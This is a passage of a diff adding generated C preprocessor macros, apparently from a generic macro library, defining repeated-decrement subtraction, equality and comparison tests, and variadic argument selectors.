+#define M_ADDI_52(n) M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(M_INC(n))))))))))))))))))))))))))))))))))))))))))))))))))))
+
+
+/* Subtract two integers with both integers from [0 to M_MAX_NB_ARGUMENT[
+   Generated by:
+   for i in $(seq 0 52) ; do printf "#define M_SUBI_%d(n) " $i ; for j in $(seq 1 $i) ; do printf "M_DEC(";done ; printf "n" ; for j in $(seq 1 $i) ; do printf ")" ;done ; printf "\n" ; done */
+#define M_SUB(x,y)  M_C(M_SUBI_, y)(x)
+#define M_SUBI_0(n) n
+#define M_SUBI_1(n) M_DEC(n)
+#define M_SUBI_2(n) M_DEC(M_DEC(n))
+#define M_SUBI_3(n) M_DEC(M_DEC(M_DEC(n)))
+#define M_SUBI_4(n) M_DEC(M_DEC(M_DEC(M_DEC(n))))
+#define M_SUBI_5(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))
+#define M_SUBI_6(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))
+#define M_SUBI_7(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))
+#define M_SUBI_8(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))
+#define M_SUBI_9(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))
+#define M_SUBI_10(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))
+#define M_SUBI_11(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))
+#define M_SUBI_12(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))
+#define M_SUBI_13(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))
+#define M_SUBI_14(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))
+#define M_SUBI_15(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))
+#define M_SUBI_16(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))
+#define M_SUBI_17(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))
+#define M_SUBI_18(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))
+#define M_SUBI_19(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))
+#define M_SUBI_20(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))
+#define M_SUBI_21(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))
+#define M_SUBI_22(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))
+#define M_SUBI_23(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))
+#define M_SUBI_24(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))
+#define M_SUBI_25(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))
+#define M_SUBI_26(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))
+#define M_SUBI_27(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))
+#define M_SUBI_28(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))
+#define M_SUBI_29(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))
+#define M_SUBI_30(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))
+#define M_SUBI_31(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))
+#define M_SUBI_32(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))
+#define M_SUBI_33(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))
+#define M_SUBI_34(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))
+#define M_SUBI_35(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))
+#define M_SUBI_36(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))
+#define M_SUBI_37(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))))
+#define M_SUBI_38(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_39(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_40(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_41(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_42(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_43(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_44(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_45(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_46(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_47(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_48(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_49(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_50(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_51(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n)))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_SUBI_52(n) M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(M_DEC(n))))))))))))))))))))))))))))))))))))))))))))))))))))
+
+
+/* NOTEQUAL(val1,val2) with val from [0 to M_MAX_NB_ARGUMENT[
+   Return 1 or 0 if val1=val2
+ */
+#define M_NOTEQUAL_0_0 0
+#define M_NOTEQUAL_1_1 0
+#define M_NOTEQUAL_2_2 0
+#define M_NOTEQUAL_3_3 0
+#define M_NOTEQUAL_4_4 0
+#define M_NOTEQUAL_5_5 0
+#define M_NOTEQUAL_6_6 0
+#define M_NOTEQUAL_7_7 0
+#define M_NOTEQUAL_8_8 0
+#define M_NOTEQUAL_9_9 0
+#define M_NOTEQUAL_10_10 0
+#define M_NOTEQUAL_11_11 0
+#define M_NOTEQUAL_12_12 0
+#define M_NOTEQUAL_13_13 0
+#define M_NOTEQUAL_14_14 0
+#define M_NOTEQUAL_15_15 0
+#define M_NOTEQUAL_16_16 0
+#define M_NOTEQUAL_17_17 0
+#define M_NOTEQUAL_18_18 0
+#define M_NOTEQUAL_19_19 0
+#define M_NOTEQUAL_20_20 0
+#define M_NOTEQUAL_21_21 0
+#define M_NOTEQUAL_22_22 0
+#define M_NOTEQUAL_23_23 0
+#define M_NOTEQUAL_24_24 0
+#define M_NOTEQUAL_25_25 0
+#define M_NOTEQUAL_26_26 0
+#define M_NOTEQUAL_27_27 0
+#define M_NOTEQUAL_28_28 0
+#define M_NOTEQUAL_29_29 0
+#define M_NOTEQUAL_30_30 0
+#define M_NOTEQUAL_31_31 0
+#define M_NOTEQUAL_32_32 0
+#define M_NOTEQUAL_33_33 0
+#define M_NOTEQUAL_34_34 0
+#define M_NOTEQUAL_35_35 0
+#define M_NOTEQUAL_36_36 0
+#define M_NOTEQUAL_37_37 0
+#define M_NOTEQUAL_38_38 0
+#define M_NOTEQUAL_39_39 0
+#define M_NOTEQUAL_40_40 0
+#define M_NOTEQUAL_41_41 0
+#define M_NOTEQUAL_42_42 0
+#define M_NOTEQUAL_43_43 0
+#define M_NOTEQUAL_44_44 0
+#define M_NOTEQUAL_45_45 0
+#define M_NOTEQUAL_46_46 0
+#define M_NOTEQUAL_47_47 0
+#define M_NOTEQUAL_48_48 0
+#define M_NOTEQUAL_49_49 0
+#define M_NOTEQUAL_50_50 0
+#define M_NOTEQUAL_51_51 0
+#define M_NOTEQUAL_52_52 0
+#define M_NOTEQUAL(x,y) M_BOOL(M_C4(M_NOTEQUAL_, x, _, y))
+
+/* EQUAL(val1,val2) with val from [0 to M_MAX_NB_ARGUMENT[
+   Return 1 if val1=val2 or 0
+   Example: M_EQUAL(1,2) --> 0
+ */
+#define M_EQUAL(x,y)               M_INV(M_NOTEQUAL(x,y))
+
+/* Return 1 if a < b, 0 otherwise
+   a and b shall be in [0..M_MAX_NB_ARGUMENT] */
+#define M_LESS_THAN_P(a, b)        M_KEYWORD_P(M_UNDERFLOW, M_SUB(a, b))
+
+/* Return 1 if a >= b, 0 otherwise
+   a and b shall be in [0..M_MAX_NB_ARGUMENT] */
+#define M_GREATER_OR_EQUAL_P(a, b) M_INV(M_LESS_THAN_P(a, b))
+
+/* Return 1 if a <= b, 0 otherwise
+   a and b shall be in [0..M_MAX_NB_ARGUMENT] */
+#define M_LESS_OR_EQUAL_P(a, b)    M_GREATER_OR_EQUAL_P(b, a)
+
+/* Return 1 if a > b, 0 otherwise
+   a and b shall be in [0..M_MAX_NB_ARGUMENT] */
+#define M_GREATER_THAN_P(a, b)     M_LESS_THAN_P(b,a)
+
+
+/* Return the nth argument of a VA_ARGS.
+    - M_RET_ARG<n> lets the VA_ARGS been evaluated, and returns the <n> argument.
+    - M_RETI_ARG<n> returns the <n> argument.
+    - M_RET_ARG takes 'n' as argument, evaluate the arguments, and returns the 'n' argument.
+  NOTE: A comma is added at the end in M_RET_ARG<n> in order to avoid error if the number of
+  argument is exactly <n> (in which case, otherwise the __VA_ARGS__ will be non existent).
+   Generated by:
+   for i in $(seq 1 53 ) ; do printf "#define M_RETI_ARG%d(" $i; for j in $(seq 1 $i) ; do printf "_%d, " $j ; done ; printf "...) _%d\n#define M_RET_ARG%d(...) M_RETI_ARG%d(__VA_ARGS__,)\n\n" $i $i $i ; done
+  */
+#define M_RET_ARG(n, ...)  M_C(M_RET_ARG, n)(__VA_ARGS__, )
+
+#define M_RETI_ARG1(_1, ...) _1
+#define M_RET_ARG1(...) M_RETI_ARG1(__VA_ARGS__,)
+
+#define M_RETI_ARG2(_1, _2, ...) _2
+#define M_RET_ARG2(...) M_RETI_ARG2(__VA_ARGS__,)
+
+#define M_RETI_ARG3(_1, _2, _3, ...) _3
+#define M_RET_ARG3(...) M_RETI_ARG3(__VA_ARGS__,)
+
+#define M_RETI_ARG4(_1, _2, _3, _4, ...) _4
+#define M_RET_ARG4(...) M_RETI_ARG4(__VA_ARGS__,)
+
+#define M_RETI_ARG5(_1, _2, _3, _4, _5, ...) _5
+#define M_RET_ARG5(...) M_RETI_ARG5(__VA_ARGS__,)
+
+#define M_RETI_ARG6(_1, _2, _3, _4, _5, _6, ...) _6
+#define M_RET_ARG6(...) M_RETI_ARG6(__VA_ARGS__,)
+
+#define M_RETI_ARG7(_1, _2, _3, _4, _5, _6, _7, ...) _7
+#define M_RET_ARG7(...) M_RETI_ARG7(__VA_ARGS__,)
+
+#define M_RETI_ARG8(_1, _2, _3, _4, _5, _6, _7, _8, ...) _8
+#define M_RET_ARG8(...) M_RETI_ARG8(__VA_ARGS__,)
+
+#define M_RETI_ARG9(_1, _2, _3, _4, _5, _6, _7, _8, _9, ...) _9
+#define M_RET_ARG9(...) M_RETI_ARG9(__VA_ARGS__,)
+
+#define M_RETI_ARG10(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, ...) _10
+#define M_RET_ARG10(...) M_RETI_ARG10(__VA_ARGS__,)
+
+#define M_RETI_ARG11(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, ...) _11
+#define M_RET_ARG11(...) M_RETI_ARG11(__VA_ARGS__,)
+
+#define M_RETI_ARG12(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, ...) _12
+#define M_RET_ARG12(...) M_RETI_ARG12(__VA_ARGS__,)
+
+#define M_RETI_ARG13(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, ...) _13
+#define M_RET_ARG13(...) M_RETI_ARG13(__VA_ARGS__,)
+
+#define M_RETI_ARG14(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, ...) _14
+#define M_RET_ARG14(...) M_RETI_ARG14(__VA_ARGS__,)
+
+#define M_RETI_ARG15(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, ...) _15
+#define M_RET_ARG15(...) M_RETI_ARG15(__VA_ARGS__,)
+
+#define M_RETI_ARG16(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, ...) _16
+#define M_RET_ARG16(...) M_RETI_ARG16(__VA_ARGS__,)
+
+#define M_RETI_ARG17(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, ...) _17
+#define M_RET_ARG17(...) M_RETI_ARG17(__VA_ARGS__,)
+
+#define M_RETI_ARG18(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, ...) _18
+#define M_RET_ARG18(...) M_RETI_ARG18(__VA_ARGS__,)
+
+#define M_RETI_ARG19(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, ...) _19
+#define M_RET_ARG19(...) M_RETI_ARG19(__VA_ARGS__,)
+
+#define M_RETI_ARG20(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, ...) _20
+#define M_RET_ARG20(...) M_RETI_ARG20(__VA_ARGS__,)
+
+#define M_RETI_ARG21(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, ...) _21
+#define M_RET_ARG21(...) M_RETI_ARG21(__VA_ARGS__,)
+
+#define M_RETI_ARG22(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, ...) _22
+#define M_RET_ARG22(...) M_RETI_ARG22(__VA_ARGS__,)
+
+#define M_RETI_ARG23(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, ...) _23
+#define M_RET_ARG23(...) M_RETI_ARG23(__VA_ARGS__,)
+
+#define M_RETI_ARG24(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, ...) _24
+#define M_RET_ARG24(...) M_RETI_ARG24(__VA_ARGS__,)
+
+#define M_RETI_ARG25(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, ...) _25
+#define M_RET_ARG25(...) M_RETI_ARG25(__VA_ARGS__,)
+
+#define M_RETI_ARG26(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, ...) _26
